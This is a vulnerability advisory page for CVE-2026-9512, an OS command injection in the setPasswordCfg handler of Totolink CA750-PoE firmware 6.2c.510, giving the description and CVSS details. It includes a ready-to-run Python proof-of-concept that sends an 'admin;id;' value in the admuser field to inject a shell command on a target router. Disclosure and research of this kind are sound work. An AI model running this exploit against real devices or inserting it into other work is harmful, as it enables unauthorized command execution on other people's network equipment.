Security Vulnerability Report
中文
CVE-2026-9512 CVSS 6.3 MEDIUM

CVE-2026-9512

Published: 2026-05-25 23:16:34
Last Modified: 2026-05-25 23:16:34

Description

A security flaw has been discovered in Totolink CA750-PoE 6.2c.510. This vulnerability affects the function setPasswordCfg of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. Performing a manipulation of the argument admuser/admpass results in os command injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Totolink CA750-PoE 6.2c.510

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = {"Content-Type": "application/x-www-form-urlencoded"} # Payload to execute 'id' command via command injection data = { "function": "setPasswordCfg", "admuser": "admin;id;", "admpass": "password123" } try: response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to exploit, status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])

References

Raw JSON Data

JSON
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